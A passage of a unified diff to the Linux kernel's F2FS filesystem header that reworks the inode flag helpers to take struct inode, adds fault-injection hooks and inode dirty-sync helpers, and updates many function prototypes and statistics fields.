valid_inode_count(struct f2fs_sb_info *sbi) +static inline s64 valid_inode_count(struct f2fs_sb_info *sbi) { - return sbi->total_valid_inode_count; + return percpu_counter_sum_positive(&sbi->total_valid_inode_count); } static inline struct page *f2fs_grab_cache_page(struct address_space *mapping, pgoff_t index, bool for_write) { +#ifdef CONFIG_F2FS_FAULT_INJECTION + struct page *page = find_lock_page(mapping, index); + if (page) + return page; + + if (time_to_inject(F2FS_M_SB(mapping), FAULT_PAGE_ALLOC)) + return NULL; +#endif if (!for_write) return grab_cache_page(mapping, index); return grab_cache_page_write_begin(mapping, index, AOP_FLAG_NOFS); @@ -1260,7 +1549,7 @@ static inline void f2fs_put_page(struct page *page, int unlock) f2fs_bug_on(F2FS_P_SB(page), !PageLocked(page)); unlock_page(page); } - page_cache_release(page); + put_page(page); } static inline void f2fs_put_dnode(struct dnode_of_data *dn) @@ -1395,13 +1684,12 @@ static inline void f2fs_change_bit(unsigned int nr, char *addr) enum { FI_NEW_INODE, /* indicate newly allocated inode */ FI_DIRTY_INODE, /* indicate inode is dirty or not */ + FI_AUTO_RECOVER, /* indicate inode is recoverable */ FI_DIRTY_DIR, /* indicate directory has dirty pages */ FI_INC_LINK, /* need to increment i_nlink */ FI_ACL_MODE, /* indicate acl mode */ FI_NO_ALLOC, /* should not allocate any blocks */ FI_FREE_NID, /* free allocated nide */ - FI_UPDATE_DIR, /* should update inode block for consistency */ - FI_DELAY_IPUT, /* used for the recovery */ FI_NO_EXTENT, /* not to use the extent cache */ FI_INLINE_XATTR, /* used for inline xattr */ FI_INLINE_DATA, /* used for inline data*/ @@ -1415,71 +1703,145 @@ enum { FI_DROP_CACHE, /* drop dirty page cache */ FI_DATA_EXIST, /* indicate data exists */ FI_INLINE_DOTS, /* indicate inline dot dentries */ + FI_DO_DEFRAG, /* indicate defragment is running */ + FI_DIRTY_FILE, /* indicate regular/symlink has dirty pages */ }; -static inline void set_inode_flag(struct f2fs_inode_info *fi, int flag) +static inline void __mark_inode_dirty_flag(struct inode *inode, + int flag, bool set) +{ + switch (flag) { + case FI_INLINE_XATTR: + case FI_INLINE_DATA: + case FI_INLINE_DENTRY: + if (set) + return; + case FI_DATA_EXIST: + case FI_INLINE_DOTS: + f2fs_mark_inode_dirty_sync(inode, true); + } +} + +static inline void set_inode_flag(struct inode *inode, int flag) +{ + if (!test_bit(flag, &F2FS_I(inode)->flags)) + set_bit(flag, &F2FS_I(inode)->flags); + __mark_inode_dirty_flag(inode, flag, true); +} + +static inline int is_inode_flag_set(struct inode *inode, int flag) +{ + return test_bit(flag, &F2FS_I(inode)->flags); +} + +static inline void clear_inode_flag(struct inode *inode, int flag) +{ + if (test_bit(flag, &F2FS_I(inode)->flags)) + clear_bit(flag, &F2FS_I(inode)->flags); + __mark_inode_dirty_flag(inode, flag, false); +} + +static inline void set_acl_inode(struct inode *inode, umode_t mode) +{ + F2FS_I(inode)->i_acl_mode = mode; + set_inode_flag(inode, FI_ACL_MODE); + f2fs_mark_inode_dirty_sync(inode, false); +} + +static inline void f2fs_i_links_write(struct inode *inode, bool inc) +{ + if (inc) + inc_nlink(inode); + else + drop_nlink(inode); + f2fs_mark_inode_dirty_sync(inode, true); +} + +static inline void f2fs_i_blocks_write(struct inode *inode, + blkcnt_t diff, bool add) { - if (!test_bit(flag, &fi->flags)) - set_bit(flag, &fi->flags); + bool clean = !is_inode_flag_set(inode, FI_DIRTY_INODE); + bool recover = is_inode_flag_set(inode, FI_AUTO_RECOVER); + + inode->i_blocks = add ? inode->i_blocks + diff : + inode->i_blocks - diff; + f2fs_mark_inode_dirty_sync(inode, true); + if (clean || recover) + set_inode_flag(inode, FI_AUTO_RECOVER); +} + +static inline void f2fs_i_size_write(struct inode *inode, loff_t i_size) +{ + bool clean = !is_inode_flag_set(inode, FI_DIRTY_INODE); + bool recover = is_inode_flag_set(inode, FI_AUTO_RECOVER); + + if (i_size_read(inode) == i_size) + return; + + i_size_write(inode, i_size); + f2fs_mark_inode_dirty_sync(inode, true); + if (clean || recover) + set_inode_flag(inode, FI_AUTO_RECOVER); } -static inline int is_inode_flag_set(struct f2fs_inode_info *fi, int flag) +static inline void f2fs_i_depth_write(struct inode *inode, unsigned int depth) { - return test_bit(flag, &fi->flags); + F2FS_I(inode)->i_current_depth = depth; + f2fs_mark_inode_dirty_sync(inode, true); } -static inline void clear_inode_flag(struct f2fs_inode_info *fi, int flag) +static inline void f2fs_i_xnid_write(struct inode *inode, nid_t xnid) { - if (test_bit(flag, &fi->flags)) - clear_bit(flag, &fi->flags); + F2FS_I(inode)->i_xattr_nid = xnid; + f2fs_mark_inode_dirty_sync(inode, true); } -static inline void set_acl_inode(struct f2fs_inode_info *fi, umode_t mode) +static inline void f2fs_i_pino_write(struct inode *inode, nid_t pino) { - fi->i_acl_mode = mode; - set_inode_flag(fi, FI_ACL_MODE); + F2FS_I(inode)->i_pino = pino; + f2fs_mark_inode_dirty_sync(inode, true); } -static inline void get_inline_info(struct f2fs_inode_info *fi, - struct f2fs_inode *ri) +static inline void get_inline_info(struct inode *inode, struct f2fs_inode *ri) { + struct f2fs_inode_info *fi = F2FS_I(inode); + if (ri->i_inline & F2FS_INLINE_XATTR) - set_inode_flag(fi, FI_INLINE_XATTR); + set_bit(FI_INLINE_XATTR, &fi->flags); if (ri->i_inline & F2FS_INLINE_DATA) - set_inode_flag(fi, FI_INLINE_DATA); + set_bit(FI_INLINE_DATA, &fi->flags); if (ri->i_inline & F2FS_INLINE_DENTRY) - set_inode_flag(fi, FI_INLINE_DENTRY); + set_bit(FI_INLINE_DENTRY, &fi->flags); if (ri->i_inline & F2FS_DATA_EXIST) - set_inode_flag(fi, FI_DATA_EXIST); + set_bit(FI_DATA_EXIST, &fi->flags); if (ri->i_inline & F2FS_INLINE_DOTS) - set_inode_flag(fi, FI_INLINE_DOTS); + set_bit(FI_INLINE_DOTS, &fi->flags); } -static inline void set_raw_inline(struct f2fs_inode_info *fi, - struct f2fs_inode *ri) +static inline void set_raw_inline(struct inode *inode, struct f2fs_inode *ri) { ri->i_inline = 0; - if (is_inode_flag_set(fi, FI_INLINE_XATTR)) + if (is_inode_flag_set(inode, FI_INLINE_XATTR)) ri->i_inline |= F2FS_INLINE_XATTR; - if (is_inode_flag_set(fi, FI_INLINE_DATA)) + if (is_inode_flag_set(inode, FI_INLINE_DATA)) ri->i_inline |= F2FS_INLINE_DATA; - if (is_inode_flag_set(fi, FI_INLINE_DENTRY)) + if (is_inode_flag_set(inode, FI_INLINE_DENTRY)) ri->i_inline |= F2FS_INLINE_DENTRY; - if (is_inode_flag_set(fi, FI_DATA_EXIST)) + if (is_inode_flag_set(inode, FI_DATA_EXIST)) ri->i_inline |= F2FS_DATA_EXIST; - if (is_inode_flag_set(fi, FI_INLINE_DOTS)) + if (is_inode_flag_set(inode, FI_INLINE_DOTS)) ri->i_inline |= F2FS_INLINE_DOTS; } static inline int f2fs_has_inline_xattr(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_INLINE_XATTR); + return is_inode_flag_set(inode, FI_INLINE_XATTR); } -static inline unsigned int addrs_per_inode(struct f2fs_inode_info *fi) +static inline unsigned int addrs_per_inode(struct inode *inode) { - if (f2fs_has_inline_xattr(&fi->vfs_inode)) + if (f2fs_has_inline_xattr(inode)) return DEF_ADDRS_PER_INODE - F2FS_INLINE_XATTR_ADDRS; return DEF_ADDRS_PER_INODE; } @@ -1501,43 +1863,43 @@ static inline int inline_xattr_size(struct inode *inode) static inline int f2fs_has_inline_data(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DATA); + return is_inode_flag_set(inode, FI_INLINE_DATA); } static inline void f2fs_clear_inline_inode(struct inode *inode) { - clear_inode_flag(F2FS_I(inode), FI_INLINE_DATA); - clear_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + clear_inode_flag(inode, FI_INLINE_DATA); + clear_inode_flag(inode, FI_DATA_EXIST); } static inline int f2fs_exist_data(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_DATA_EXIST); + return is_inode_flag_set(inode, FI_DATA_EXIST); } static inline int f2fs_has_inline_dots(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DOTS); + return is_inode_flag_set(inode, FI_INLINE_DOTS); } static inline bool f2fs_is_atomic_file(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_ATOMIC_FILE); + return is_inode_flag_set(inode, FI_ATOMIC_FILE); } static inline bool f2fs_is_volatile_file(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_VOLATILE_FILE); + return is_inode_flag_set(inode, FI_VOLATILE_FILE); } static inline bool f2fs_is_first_block_written(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); + return is_inode_flag_set(inode, FI_FIRST_BLOCK_WRITTEN); } static inline bool f2fs_is_drop_cache(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_DROP_CACHE); + return is_inode_flag_set(inode, FI_DROP_CACHE); } static inline void *inline_data_addr(struct page *page) @@ -1548,7 +1910,7 @@ static inline void *inline_data_addr(struct page *page) static inline int f2fs_has_inline_dentry(struct inode *inode) { - return is_inode_flag_set(F2FS_I(inode), FI_INLINE_DENTRY); + return is_inode_flag_set(inode, FI_INLINE_DENTRY); } static inline void f2fs_dentry_kunmap(struct inode *dir, struct page *page) @@ -1565,27 +1927,41 @@ static inline int is_file(struct inode *inode, int type) static inline void set_file(struct inode *inode, int type) { F2FS_I(inode)->i_advise |= type; + f2fs_mark_inode_dirty_sync(inode, true); } static inline void clear_file(struct inode *inode, int type) { F2FS_I(inode)->i_advise &= ~type; + f2fs_mark_inode_dirty_sync(inode, true); } -static inline int f2fs_readonly(struct super_block *sb) +static inline bool f2fs_skip_inode_update(struct inode *inode, int dsync) { - return sb->s_flags & MS_RDONLY; + if (dsync) { + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + bool ret; + + spin_lock(&sbi->inode_lock[DIRTY_META]); + ret = list_empty(&F2FS_I(inode)->gdirty_list); + spin_unlock(&sbi->inode_lock[DIRTY_META]); + return ret; + } + if (!is_inode_flag_set(inode, FI_AUTO_RECOVER) || + file_keep_isize(inode) || + i_size_read(inode) & PAGE_MASK) + return false; + return F2FS_I(inode)->last_disk_size == i_size_read(inode); } -static inline bool f2fs_cp_error(struct f2fs_sb_info *sbi) +static inline int f2fs_readonly(struct super_block *sb) { - return is_set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); + return sb->s_flags & MS_RDONLY; } -static inline void f2fs_stop_checkpoint(struct f2fs_sb_info *sbi) +static inline bool f2fs_cp_error(struct f2fs_sb_info *sbi) { - set_ckpt_flags(sbi->ckpt, CP_ERROR_FLAG); - sbi->sb->s_flags |= MS_RDONLY; + return is_set_ckpt_flags(sbi, CP_ERROR_FLAG); } static inline bool is_dot_dotdot(const struct qstr *str) @@ -1604,12 +1980,22 @@ static inline bool f2fs_may_extent_tree(struct inode *inode) mode_t mode = inode->i_mode; if (!test_opt(F2FS_I_SB(inode), EXTENT_CACHE) || - is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) + is_inode_flag_set(inode, FI_NO_EXTENT)) return false; return S_ISREG(mode); } +static inline void *f2fs_kmalloc(struct f2fs_sb_info *sbi, + size_t size, gfp_t flags) +{ +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_KMALLOC)) + return NULL; +#endif + return kmalloc(size, flags); +} + static inline void *f2fs_kvmalloc(size_t size, gfp_t flags) { void *ret; @@ -1639,14 +2025,14 @@ static inline void f2fs_kvfree(void *ptr) } #define get_inode_mode(i) \ - ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ + ((is_inode_flag_set(i, FI_ACL_MODE)) ? \ (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) /* get offset of first page in next direct node */ -#define PGOFS_OF_NEXT_DNODE(pgofs, fi) \ - ((pgofs < ADDRS_PER_INODE(fi)) ? ADDRS_PER_INODE(fi) : \ - (pgofs - ADDRS_PER_INODE(fi) + ADDRS_PER_BLOCK) / \ - ADDRS_PER_BLOCK * ADDRS_PER_BLOCK + ADDRS_PER_INODE(fi)) +#define PGOFS_OF_NEXT_DNODE(pgofs, inode) \ + ((pgofs < ADDRS_PER_INODE(inode)) ? ADDRS_PER_INODE(inode) : \ + (pgofs - ADDRS_PER_INODE(inode) + ADDRS_PER_BLOCK) / \ + ADDRS_PER_BLOCK * ADDRS_PER_BLOCK + ADDRS_PER_INODE(inode)) /* * file.c @@ -1654,7 +2040,7 @@ static inline void f2fs_kvfree(void *ptr) int f2fs_sync_file(struct file *, loff_t, loff_t, int); void truncate_data_blocks(struct dnode_of_data *); int truncate_blocks(struct inode *, u64, bool); -int f2fs_truncate(struct inode *, bool); +int f2fs_truncate(struct inode *); int f2fs_getattr(struct vfsmount *, struct dentry *, struct kstat *); int f2fs_setattr(struct dentry *, struct iattr *); int truncate_hole(struct inode *, pgoff_t, pgoff_t); @@ -1667,9 +2053,10 @@ long f2fs_compat_ioctl(struct file *, unsigned int, unsigned long); */ void f2fs_set_inode_flags(struct inode *); struct inode *f2fs_iget(struct super_block *, unsigned long); +struct inode *f2fs_iget_retry(struct super_block *, unsigned long); int try_to_free_nats(struct f2fs_sb_info *, int); -void update_inode(struct inode *, struct page *); -void update_inode_page(struct inode *); +int update_inode(struct inode *, struct page *); +int update_inode_page(struct inode *); int f2fs_write_inode(struct inode *, struct writeback_control *); void f2fs_evict_inode(struct inode *); void handle_failed_inode(struct inode *); @@ -1682,28 +2069,35 @@ struct dentry *f2fs_get_parent(struct dentry *child); /* * dir.c */ -extern unsigned char f2fs_filetype_table[F2FS_FT_MAX]; void set_de_type(struct f2fs_dir_entry *, umode_t); -struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *, +unsigned char get_de_type(struct f2fs_dir_entry *); +struct f2fs_dir_entry *find_target_dentry(struct fscrypt_name *, f2fs_hash_t, int *, struct f2fs_dentry_ptr *); -bool f2fs_fill_dentries(struct file *, void *, filldir_t, - struct f2fs_dentry_ptr *, unsigned int, unsigned int, struct f2fs_str *); +int f2fs_fill_dentries(struct file *, void *, filldir_t, + struct f2fs_dentry_ptr *, unsigned int, + unsigned int, struct fscrypt_str *); void do_make_empty_dir(struct inode *, struct inode *, struct f2fs_dentry_ptr *); struct page *init_inode_metadata(struct inode *, struct inode *, - const struct qstr *, struct page *); + const struct qstr *, const struct qstr *, struct page *); void update_parent_metadata(struct inode *, struct inode *, unsigned int); int room_for_filename(const void *, int, int); -void f2fs_drop_nlink(struct inode *, struct inode *, struct page *); -struct f2fs_dir_entry *f2fs_find_entry(struct inode *, struct qstr *, - struct page **); +void f2fs_drop_nlink(struct inode *, struct inode *); +struct f2fs_dir_entry *__f2fs_find_entry(struct inode *, struct fscrypt_name *, + struct page **); +struct f2fs_dir_entry *f2fs_find_entry(struct inode *, const struct qstr *, + struct page **); struct f2fs_dir_entry *f2fs_parent_dir(struct inode *, struct page **); -ino_t f2fs_inode_by_name(struct inode *, struct qstr *); +ino_t f2fs_inode_by_name(struct inode *, struct qstr *, struct page **); void f2fs_set_link(struct inode *, struct f2fs_dir_entry *, struct page *, struct inode *); int update_dent_inode(struct inode *, struct inode *, const struct qstr *); void f2fs_update_dentry(nid_t ino, umode_t mode, struct f2fs_dentry_ptr *, const struct qstr *, f2fs_hash_t , unsigned int); +int f2fs_add_regular_entry(struct inode *, const struct qstr *, + const struct qstr *, struct inode *, nid_t, umode_t); +int __f2fs_do_add_link(struct inode *, struct fscrypt_name*, struct inode *, + nid_t, umode_t); int __f2fs_add_link(struct inode *, const struct qstr *, struct inode *, nid_t, umode_t); void f2fs_delete_entry(struct f2fs_dir_entry *, struct page *, struct inode *, @@ -1713,17 +2107,20 @@ bool f2fs_empty_dir(struct inode *); static inline int f2fs_add_link(struct dentry *dentry, struct inode *inode) { - return __f2fs_add_link(dentry->d_parent->d_inode, &dentry->d_name, + return __f2fs_add_link(d_inode(dentry->d_parent), &dentry->d_name, inode, inode->i_ino, inode->i_mode); } /* * super.c */ +int f2fs_inode_dirtied(struct inode *, bool); +void f2fs_inode_synced(struct inode *); int f2fs_commit_super(struct f2fs_sb_info *, bool); int f2fs_sync_fs(struct super_block *, int); extern __printf(3, 4) void f2fs_msg(struct super_block *, const char *, const char *, ...); +int sanity_check_ckpt(struct f2fs_sb_info *sbi); /* * hash.c @@ -1741,6 +2138,7 @@ int need_dentry_mark(struct f2fs_sb_info *, nid_t); bool is_checkpointed_node(struct f2fs_sb_info *, nid_t); bool need_inode_block_update(struct f2fs_sb_info *, nid_t); void get_node_info(struct f2fs_sb_info *, nid_t, struct node_info *); +pgoff_t get_next_page_offset(struct dnode_of_data *, pgoff_t); int get_dnode_of_data(struct dnode_of_data *, pgoff_t, int); int truncate_inode_blocks(struct inode *, pgoff_t); int truncate_xattr_node(struct inode *, struct page *); @@ -1751,8 +2149,11 @@ struct page *new_node_page(struct dnode_of_data *, unsigned int, struct page *); void ra_node_page(struct f2fs_sb_info *, nid_t); struct page *get_node_page(struct f2fs_sb_info *, pgoff_t); struct page *get_node_page_ra(struct page *, int); -void sync_inode_page(struct dnode_of_data *); -int sync_node_pages(struct f2fs_sb_info *, nid_t, struct writeback_control *); +void move_node_page(struct page *, int); +int fsync_node_pages(struct f2fs_sb_info *, struct inode *, + struct writeback_control *, bool); +int sync_node_pages(struct f2fs_sb_info *, struct writeback_control *); +void build_free_nids(struct f2fs_sb_info *, bool); bool alloc_nid(struct f2fs_sb_info *, nid_t *); void alloc_nid_done(struct f2fs_sb_info *, nid_t); void alloc_nid_failed(struct f2fs_sb_info *, nid_t); @@ -1772,18 +2173,18 @@ void destroy_node_manager_caches(void); * segment.c */ void register_inmem_page(struct inode *, struct page *); -int commit_inmem_pages(struct inode *, bool); -void f2fs_balance_fs(struct f2fs_sb_info *); +void drop_inmem_pages(struct inode *); +int commit_inmem_pages(struct inode *); +void f2fs_balance_fs(struct f2fs_sb_info *, bool); void f2fs_balance_fs_bg(struct f2fs_sb_info *); int f2fs_issue_flush(struct f2fs_sb_info *); int create_flush_cmd_control(struct f2fs_sb_info *); -void destroy_flush_cmd_control(struct f2fs_sb_info *); +void destroy_flush_cmd_control(struct f2fs_sb_info *, bool); void invalidate_blocks(struct f2fs_sb_info *, block_t); bool is_checkpointed_data(struct f2fs_sb_info *, block_t); void refresh_sit_entry(struct f2fs_sb_info *, block_t, block_t); void clear_prefree_segments(struct f2fs_sb_info *, struct cp_control *); void release_discard_addrs(struct f2fs_sb_info *); -bool discard_next_dnode(struct f2fs_sb_info *, block_t); int npages_for_summary_flush(struct f2fs_sb_info *, bool); void allocate_new_segments(struct f2fs_sb_info *); int f2fs_trim_fs(struct f2fs_sb_info *, struct fstrim_range *); @@ -1793,16 +2194,17 @@ void write_meta_page(struct f2fs_sb_info *, struct page *); void write_node_page(unsigned int, struct f2fs_io_info *); void write_data_page(struct dnode_of_data *, struct f2fs_io_info *); void rewrite_data_page(struct f2fs_io_info *); +void __f2fs_replace_block(struct f2fs_sb_info *, struct f2fs_summary *, + block_t, block_t, bool, bool); void f2fs_replace_block(struct f2fs_sb_info *, struct dnode_of_data *, - block_t, block_t, unsigned char, bool); + block_t, block_t, unsigned char, bool, bool); void allocate_data_block(struct f2fs_sb_info *, struct page *, block_t, block_t *, struct f2fs_summary *, int); -void f2fs_wait_on_page_writeback(struct page *, enum page_type); +void f2fs_wait_on_page_writeback(struct page *, enum page_type, bool); void f2fs_wait_on_encrypted_page_writeback(struct f2fs_sb_info *, block_t); void write_data_summaries(struct f2fs_sb_info *, block_t); void write_node_summaries(struct f2fs_sb_info *, block_t); -int lookup_journal_in_cursum(struct f2fs_summary_block *, - int, unsigned int, int); +int lookup_journal_in_cursum(struct f2fs_journal *, int, unsigned int, int); void flush_sit_entries(struct f2fs_sb_info *, struct cp_control *); int build_segment_manager(struct f2fs_sb_info *); void destroy_segment_manager(struct f2fs_sb_info *); @@ -1812,6 +2214,7 @@ void destroy_segment_manager_caches(void); /* * checkpoint.c */ +void f2fs_stop_checkpoint(struct f2fs_sb_info *, bool); struct page *grab_meta_page(struct f2fs_sb_info *, pgoff_t); struct page *get_meta_page(struct f2fs_sb_info *, pgoff_t); struct page *get_tmp_page(struct f2fs_sb_info *, pgoff_t); @@ -1819,21 +2222,21 @@ bool is_valid_blkaddr(struct f2fs_sb_info *, block_t, int); int ra_meta_pages(struct f2fs_sb_info *, block_t, int, int, bool); void ra_meta_pages_cond(struct f2fs_sb_info *, pgoff_t); long sync_meta_pages(struct f2fs_sb_info *, enum page_type, long); -void add_dirty_inode(struct f2fs_sb_info *, nid_t, int type); -void remove_dirty_inode(struct f2fs_sb_info *, nid_t, int type); -void release_dirty_inode(struct f2fs_sb_info *); +void add_ino_entry(struct f2fs_sb_info *, nid_t, int type); +void remove_ino_entry(struct f2fs_sb_info *, nid_t, int type); +void release_ino_entry(struct f2fs_sb_info *, bool); bool exist_written_data(struct f2fs_sb_info *, nid_t, int); +int f2fs_sync_inode_meta(struct f2fs_sb_info *); int acquire_orphan_inode(struct f2fs_sb_info *); void release_orphan_inode(struct f2fs_sb_info *); -void add_orphan_inode(struct f2fs_sb_info *, nid_t); +void add_orphan_inode(struct inode *); void remove_orphan_inode(struct f2fs_sb_info *, nid_t); int recover_orphan_inodes(struct f2fs_sb_info *); int get_valid_checkpoint(struct f2fs_sb_info *); void update_dirty_page(struct inode *, struct page *); -void add_dirty_dir_inode(struct inode *); -void remove_dirty_dir_inode(struct inode *); -void sync_dirty_dir_inodes(struct f2fs_sb_info *); -void write_checkpoint(struct f2fs_sb_info *, struct cp_control *); +void remove_dirty_inode(struct inode *); +int sync_dirty_inodes(struct f2fs_sb_info *, enum inode_type); +int write_checkpoint(struct f2fs_sb_info *, struct cp_control *); void init_ino_entry_info(struct f2fs_sb_info *); int __init create_checkpoint_caches(void); void destroy_checkpoint_caches(void); @@ -1842,18 +2245,29 @@ void destroy_checkpoint_caches(void); * data.c */ void f2fs_submit_merged_bio(struct f2fs_sb_info *, enum page_type, int); +void f2fs_submit_merged_bio_cond(struct f2fs_sb_info *, struct inode *, + struct page *, nid_t, enum page_type, int); +void f2fs_flush_merged_bios(struct f2fs_sb_info *); int f2fs_submit_page_bio(struct f2fs_io_info *); void f2fs_submit_page_mbio(struct f2fs_io_info *); +struct block_device *f2fs_target_device(struct f2fs_sb_info *, + block_t, struct bio *); +int f2fs_target_device_index(struct f2fs_sb_info *, block_t); void set_data_blkaddr(struct dnode_of_data *); +void f2fs_update_data_blkaddr(struct dnode_of_data *, block_t); +int reserve_new_blocks(struct dnode_of_data *, blkcnt_t); int reserve_new_block(struct dnode_of_data *); int f2fs_get_block(struct dnode_of_data *, pgoff_t); +int f2fs_preallocate_blocks(struct inode *, loff_t, size_t, bool); int f2fs_reserve_block(struct dnode_of_data *, pgoff_t); struct page *get_read_data_page(struct inode *, pgoff_t, int, bool); struct page *find_data_page(struct inode *, pgoff_t); struct page *get_lock_data_page(struct inode *, pgoff_t, bool); struct page *get_new_data_page(struct inode *, struct page *, pgoff_t, bool); int do_write_data_page(struct f2fs_io_info *); +int f2fs_map_blocks(struct inode *, struct f2fs_map_blocks *, int, int); int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *, u64, u64); +void f2fs_set_page_dirty_nobuffers(struct page *); void f2fs_invalidate_page(struct page *, unsigned long); int f2fs_release_page(struct page *, gfp_t); @@ -1862,14 +2276,14 @@ int f2fs_release_page(struct page *, gfp_t); */ int start_gc_thread(struct f2fs_sb_info *); void stop_gc_thread(struct f2fs_sb_info *); -block_t start_bidx_of_node(unsigned int, struct f2fs_inode_info *); -int f2fs_gc(struct f2fs_sb_info *, bool); +block_t start_bidx_of_node(unsigned int, struct inode *); +int f2fs_gc(struct f2fs_sb_info *, bool, bool); void build_gc_manager(struct f2fs_sb_info *); /* * recovery.c */ -int recover_fsync_data(struct f2fs_sb_info *); +int recover_fsync_data(struct f2fs_sb_info *, bool); bool space_for_roll_forward(struct f2fs_sb_info *); /* @@ -1883,18 +2297,20 @@ struct f2fs_stat_info { int main_area_segs, main_area_sections, main_area_zones; unsigned long long hit_largest, hit_cached, hit_rbtree; unsigned long long hit_total, total_ext; - int ext_tree, ext_node; - int ndirty_node, ndirty_dent, ndirty_dirs, ndirty_meta; - int nats, dirty_nats, sits, dirty_sits, fnids; + int ext_tree, zombie_tree, ext_node; + int ndirty_node, ndirty_dent, ndirty_meta, ndirty_data, ndirty_imeta; + int inmem_pages; + unsigned int ndirty_dirs, ndirty_files, ndirty_all; + int nats, dirty_nats, sits, dirty_sits, free_nids, alloc_nids; int total_count, utilization; - int bg_gc, inmem_pages, wb_pages; - int inline_xattr, inline_inode, inline_dir; - unsigned int valid_count, valid_node_count, valid_inode_count; + int bg_gc, nr_wb_cp_data, nr_wb_data; + int inline_xattr, inline_inode, inline_dir, orphans; + unsigned int valid_count, valid_node_count, valid_inode_count, discard_blks; unsigned int bimodal, avg_vblocks; int util_free, util_valid, util_invalid; int rsvd_segs, overp_segs; int dirty_count, node_pages, meta_pages; - int prefree_count, call_count, cp_count; + int prefree_count, call_count, cp_count, bg_cp_count; int tot_segs, node_segs, data_segs, free_segs, free_secs; int bg_node_segs, bg_data_segs; int tot_blks, data_blks, node_blks; @@ -1915,10 +2331,11 @@ static inline struct f2fs_stat_info *F2FS_STAT(struct f2fs_sb_info *sbi) } #define stat_inc_cp_count(si) ((si)->cp_count++) +#define stat_inc_bg_cp_count(si) ((si)->bg_cp_count++) #define stat_inc_call_count(si) ((si)->call_count++) #define stat_inc_bggc_count(sbi) ((sbi)->bg_gc++) -#define stat_inc_dirty_dir(sbi) ((sbi)->n_dirty_dirs++) -#define stat_dec_dirty_dir(sbi) ((sbi)->n_dirty_dirs--) +#define stat_inc_dirty_inode(sbi, type) ((sbi)->ndirty_inode[type]++) +#define stat_dec_dirty_inode(sbi, type) ((sbi)->ndirty_inode[type]--) #define stat_inc_total_hit(sbi) (atomic64_inc(&(sbi)->total_hit_ext)) #define stat_inc_rbtree_node_hit(sbi) (atomic64_inc(&(sbi)->read_hit_rbtree)) #define stat_inc_largest_node_hit(sbi) (atomic64_inc(&(sbi)->read_hit_largest)) @@ -1993,14 +2410,15 @@ static inline struct f2fs_stat_info *F2FS_STAT(struct f2fs_sb_info *sbi) int f2fs_build_stats(struct f2fs_sb_info *); void f2fs_destroy_stats(struct f2fs_sb_info *); -void __init f2fs_create_root_stats(void); +int __init f2fs_create_root_stats(void); void f2fs_destroy_root_stats(void); #else #define stat_inc_cp_count(si) +#define stat_inc_bg_cp_count(si) #define stat_inc_call_count(si) #define stat_inc_bggc_count(si) -#define stat_inc_dirty_dir(sbi) -#define stat_dec_dirty_dir(sbi) +#define stat_inc_dirty_inode(sbi, type) +#define stat_dec_dirty_inode(sbi, type) #define stat_inc_total_hit(sb) #define stat_inc_rbtree_node_hit(sb) #define stat_inc_largest_node_hit(sbi) @@ -2021,7 +2439,7 @@ void f2fs_destroy_root_stats(void); static inline int f2fs_build_stats(struct f2fs_sb_info *sbi) { return 0; } static inline void f2fs_destroy_stats(struct f2fs_sb_info *sbi) { } -static inline void __init f2fs_create_root_stats(void) { } +static inline int __init f2fs_create_root_stats(void) { return 0; } static inline void f2fs_destroy_root_stats(void) { } #endif @@ -2050,15 +2468,15 @@ int f2fs_convert_inline_inode(struct inode *); int f2fs_write_inline_data(struct inode *, struct page *); bool recover_inline_data(struct inode *, struct page *); struct f2fs_dir_entry *find_in_inline_dir(struct inode *, - struct f2fs_filename *, struct page **); -struct f2fs_dir_entry *f2fs_parent_inline_dir(struct inode *, struct page **); + struct fscrypt_name *, struct page **); int make_empty_inline_dir(struct inode *inode, struct inode *, struct page *); -int f2fs_add_inline_entry(struct inode *, const struct qstr *, struct inode *, - nid_t, umode_t); +int f2fs_add_inline_entry(struct inode *, const struct qstr *, + const struct qstr *, struct inode *, nid_t, umode_t); void f2fs_delete_inline_entry(struct f2fs_dir_entry *, struct page *, struct inode *, struct inode *); bool f2fs_empty_inline_dir(struct inode *); -int f2fs_read_inline_dir(struct file *, void *, filldir_t, struct f2fs_str *); +int f2fs_read_inline_dir(struct file *, void *, filldir_t, + struct fscrypt_str *); int f2fs_inline_data_fiemap(struct inode *, struct fiemap_extent_info *, __u64, __u64); @@ -2074,8 +2492,8 @@ void f2fs_leave_shrinker(struct f2fs_sb_info *); * extent_cache.c */ unsigned int f2fs_shrink_extent_tree(struct f2fs_sb_info *, int); -void f2fs_drop_largest_extent(struct inode *, pgoff_t); -void f2fs_init_extent_tree(struct inode *, struct f2fs_extent *); +bool f2fs_init_extent_tree(struct inode *, struct f2fs_extent *); +void f2fs_drop_extent_tree(struct inode *); unsigned int f2fs_destroy_extent_node(struct inode *); void f2fs_destroy_extent_tree(struct inode *); bool f2fs_lookup_extent_cache(struct inode *, pgoff_t, struct extent_info *); @@ -2089,13 +2507,9 @@ void destroy_extent_cache(void); /* * crypto support */ -static inline int f2fs_encrypted_inode(struct inode *inode) +static inline bool f2fs_encrypted_inode(struct inode *inode) { -#ifdef CONFIG_F2FS_FS_ENCRYPTION return file_is_encrypt(inode); -#else - return 0; -#endif } static inline void f2fs_set_encrypted_inode(struct inode *inode) @@ -2107,113 +2521,88 @@ static inline void f2fs_set_encrypted_inode(struct inode *inode) static inline bool f2fs_bio_encrypted(struct bio *bio) { -#ifdef CONFIG_F2FS_FS_ENCRYPTION - return unlikely(bio->bi_private != NULL); -#else - return false; -#endif + return bio->bi_private != NULL; } static inline int f2fs_sb_has_crypto(struct super_block *sb) { -#ifdef 